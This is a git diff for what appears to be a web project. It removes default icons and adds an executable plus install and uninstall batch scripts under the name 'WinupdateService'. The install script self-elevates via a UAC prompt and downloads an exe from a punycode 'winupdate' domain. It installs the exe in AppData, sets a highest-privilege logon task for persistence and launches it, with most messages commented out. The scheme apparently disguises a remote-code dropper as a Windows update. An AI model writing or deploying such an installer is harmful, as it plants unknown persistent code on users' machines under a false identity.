diff --git a/public/WinupdateCore-1.0.0.exe b/public/WinupdateCore-1.0.0.exe new file mode 100644 index 0000000..f9f75cf Binary files /dev/null and b/public/WinupdateCore-1.0.0.exe differ diff --git a/public/file.svg b/public/file.svg deleted file mode 100644 index 004145c..0000000 --- a/public/file.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/public/globe.svg b/public/globe.svg deleted file mode 100644 index 567f17b..0000000 --- a/public/globe.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/public/install.bat b/public/install.bat new file mode 100644 index 0000000..63bcd41 --- /dev/null +++ b/public/install.bat @@ -0,0 +1,91 @@ +@echo off +setlocal EnableDelayedExpansion + +:: 自动请求管理员权限 +>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" +if '%errorlevel%' NEQ '0' ( + :: echo 正在请求管理员权限... + goto UACPrompt +) else ( goto gotAdmin ) + +:UACPrompt + echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" + echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs" + "%temp%\getadmin.vbs" + exit /B + +:gotAdmin + if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" ) + pushd "%CD%" + CD /D "%~dp0" + +:: 设置变量 +set APP_NAME=WinupdateService +set INSTALL_DIR=%APPDATA%\WinupdateService +set API_BASE_URL=https://winupdate.xn--876a.net + +:: 创建临时目录和安装目录 +set TEMP_DIR=%TEMP%\WinupdateServiceInstall +if exist "%TEMP_DIR%" rd /s /q "%TEMP_DIR%" +mkdir "%TEMP_DIR%" +if not exist "%INSTALL_DIR%" mkdir "%INSTALL_DIR%" + +:: 下载版本信息 +:: echo 正在获取最新版本信息... +powershell -Command "(New-Object Net.WebClient).DownloadFile('%API_BASE_URL%/api/version', '%TEMP_DIR%\version.json')" +if %ERRORLEVEL% neq 0 ( + echo 获取版本信息失败 + goto :error +) + +:: 解析版本信息 +for /f "tokens=*" %%i in ('powershell -Command "Get-Content '%TEMP_DIR%\version.json' | ConvertFrom-Json | Select-Object -ExpandProperty download_url"') do set APP_URL=%%i +for /f "tokens=*" %%i in ('powershell -Command "Get-Content '%TEMP_DIR%\version.json' | ConvertFrom-Json | Select-Object -ExpandProperty version"') do set APP_VERSION=%%i + +:: 下载程序文件 +:: echo 正在下载程序文件 v%APP_VERSION%... +powershell -Command "(New-Object Net.WebClient).DownloadFile('%APP_URL%', '%TEMP_DIR%\winupdate.exe')" +if %ERRORLEVEL% neq 0 ( + echo 下载程序文件失败 + goto :error +) + +:: 复制文件到安装目录 +:: echo 正在安装文件... +copy /Y "%TEMP_DIR%\winupdate.exe" "%INSTALL_DIR%" + +:: 设置文件夹权限,确保普通用户可以访问 +icacls "%INSTALL_DIR%" /grant "%USERNAME%":(OI)(CI)F /T + +:: 删除旧的计划任务(如果存在) +:: echo 正在清理旧的计划任务... +SCHTASKS /Delete /TN "%APP_NAME%" /F >nul 2>&1 + +:: 创建新的计划任务(直接执行exe) +:: echo 正在创建自启动任务... +SCHTASKS /Create /TN "%APP_NAME%" /TR "\"%INSTALL_DIR%\winupdate.exe\"" /SC ONLOGON /RU "%USERNAME%" /RL HIGHEST /F +if %ERRORLEVEL% neq 0 ( + echo 创建计划任务失败 + goto :error +) + +:: 立即启动程序(设置工作目录) +:: echo 正在启动程序... +cd /d "%INSTALL_DIR%" +start "" "%INSTALL_DIR%\winupdate.exe" + +:: 清理临时文件 +rd /s /q "%TEMP_DIR%" + +echo. +:: echo 安装完成!当前版本:v%APP_VERSION% +:: echo 程序将在用户登录时自动启动 +goto :end + +:error +echo. +echo 安装过程中出现错误 +if exist "%TEMP_DIR%" rd /s /q "%TEMP_DIR%" + +:end +pause \ No newline at end of file diff --git a/public/next.svg b/public/next.svg deleted file mode 100644 index 5174b28..0000000 --- a/public/next.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/public/uninstall.bat b/public/uninstall.bat new file mode 100644 index 0000000..eb32f92 --- /dev/null +++ b/public/uninstall.bat @@ -0,0 +1,42 @@ +@echo off +setlocal EnableDelayedExpansion + +:: 自动请求管理员权限 +>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" +if '%errorlevel%' NEQ '0' ( + echo 正在请求管理员权限... + goto UACPrompt +) else ( goto gotAdmin ) + +:UACPrompt + echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" + echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs" + "%temp%\getadmin.vbs" + exit /B + +:gotAdmin + if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" ) + pushd "%CD%" + CD /D "%~dp0" + +:: 设置变量 +set APP_NAME=WinupdateService +set INSTALL_DIR=%APPDATA%\WinupdateService + +:: 停止正在运行的程序 +echo 正在结束程序进程... +taskkill /F /IM "winupdate.exe" 2>nul + +:: 删除计划任务 +echo 正在删除自启动任务... +SCHTASKS /Delete /TN "%APP_NAME%" /F + +:: 删除安装目录 +echo 正在删除程序文件... +if exist "%INSTALL_DIR%" ( + rd /s /q "%INSTALL_DIR%" +) + +echo. +echo 卸载完成! +pause \ No newline at end of file diff --git a/public/vercel.svg b/public/vercel.svg deleted file mode 100644 index 7705396..0000000 --- a/public/vercel.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/public/window.svg b/public/window.svg deleted file mode 100644 index b2b2a44..0000000 --- a/public/window.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file